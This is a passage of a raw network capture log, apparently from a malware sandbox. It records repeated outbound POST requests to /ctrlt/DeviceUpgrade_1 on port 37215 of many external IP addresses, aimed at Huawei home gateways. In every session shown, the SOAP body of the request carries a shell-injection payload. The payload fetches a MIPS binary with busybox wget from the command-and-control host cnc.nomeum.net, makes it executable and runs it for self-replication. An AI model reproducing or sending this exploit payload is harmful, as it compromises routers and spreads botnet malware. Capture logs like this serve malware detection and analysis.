HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	34444	197.26.18.142	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474636078 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	58394	156.35.224.164	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474664927 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	45990	156.102.183.76	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474672079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	38904	41.15.89.96	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474689007 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	33800	156.50.150.233	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474720955 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	37540	156.33.248.119	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474746943 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	41986	197.186.99.208	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474761009 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	42430	197.241.168.45	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474811077 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	59452	41.158.29.151	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474823952 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	38298	197.243.10.148	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474850893 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	42642	156.224.87.198	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474879980 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 